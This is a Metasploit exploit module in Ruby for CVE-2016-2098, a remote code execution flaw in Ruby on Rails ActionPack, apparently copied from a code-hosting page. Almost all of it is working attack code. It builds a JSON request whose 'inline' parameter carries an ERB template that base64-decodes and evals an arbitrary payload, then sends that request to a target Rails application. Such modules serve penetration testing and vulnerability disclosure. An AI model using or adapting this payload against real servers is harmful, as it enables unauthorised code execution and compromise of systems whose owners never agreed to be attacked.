71 lines
2.1 KiB
Ruby
71 lines
2.1 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Ruby on Rails ActionPack Inline ERB Code Execution',
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'Description' => %q{
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This module exploits a remote code execution vulnerability in the
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inline request processor of the Ruby on Rails ActionPack component.
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This vulnerability allows an attacker to process ERB to the inline
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JSON processor, which is then rendered, permitting full RCE within
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the runtime, without logging an error condition.
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},
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'Author' =>
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[
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'RageLtMan <rageltman[at]sempervictus>'
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'CVE', '2016-2098' ]
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],
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'Platform' => 'ruby',
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'Arch' => ARCH_RUBY,
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'Privileged' => false,
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'Targets' => [ ['Automatic', {} ] ],
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'DisclosureDate' => 'Mar 1 2016',
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'DefaultOptions' => {
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"PrependFork" => true
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},
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'DefaultTarget' => 0))
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register_options(
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[
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Opt::RPORT(80),
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OptString.new('TARGETURI', [ true, 'The path to a vulnerable Ruby on Rails application', "/"]),
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OptString.new('TARGETPARAM', [ true, 'The target parameter to inject with inline code', 'id'])
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], self.class)
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end
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def json_request
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code = Rex::Text.encode_base64(payload.encoded)
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return {
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datastore['TARGETPARAM'] => {"inline" => "<%= eval(%[#{code}].unpack(%[m0])[0]) %>"}
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}.to_json
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end
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def exploit
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print_status("Sending inline code to parameter: #{datastore['TARGETPARAM']}")
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send_request_cgi({
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'uri' => normalize_uri(target_uri.path),
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'method' => 'GET',
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'ctype' => 'application/json',
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'headers' => {
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'Accept' => 'application/json'
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},
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'data' => json_request
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}, 25)
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end
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end
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